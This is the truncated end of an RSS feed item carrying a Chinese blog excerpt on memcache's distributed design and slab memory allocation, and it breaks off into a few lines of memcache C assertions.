        一个星期时间的工作,不可能对memcache有很深刻的分析.文档本身的目的在于为以后的研究准备一个总结资料.刚接触memcache时,对其设计分布式的思路感到十分欣喜,因为在中间层以极小的代价实现简单分布式无疑成为一些要求不是很高的分布式应用的一个很好的设计思路,这个特性决定memcache本身在分布式应用中,单个结点之间是Server相互独立,不会存在同级之间的通信.一个结点拒绝访问,如果没有相应的冗余策略,将导致该结点的数据丢失.同时,memcache的Server结点对数据的存储操作都是在内存中完成,而memcache对内存分配和回收采用了曾在SunOS实现的分页机制,预分配一个大内存(默认是 slabs_clsid;
           assert((it->it_flags &#038; ITEM_LINKED) == 0);
           assert(it != heads[it->slabs_clsid]);
           [...]]]></description>
		<wfw:commentRss>http://blog.thematice.com/html/y2009/09/29/709/%e8%bd%ac-memcache%e5%88%86%e6%9e%90%e8%b0%83%e8%af%95-php.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
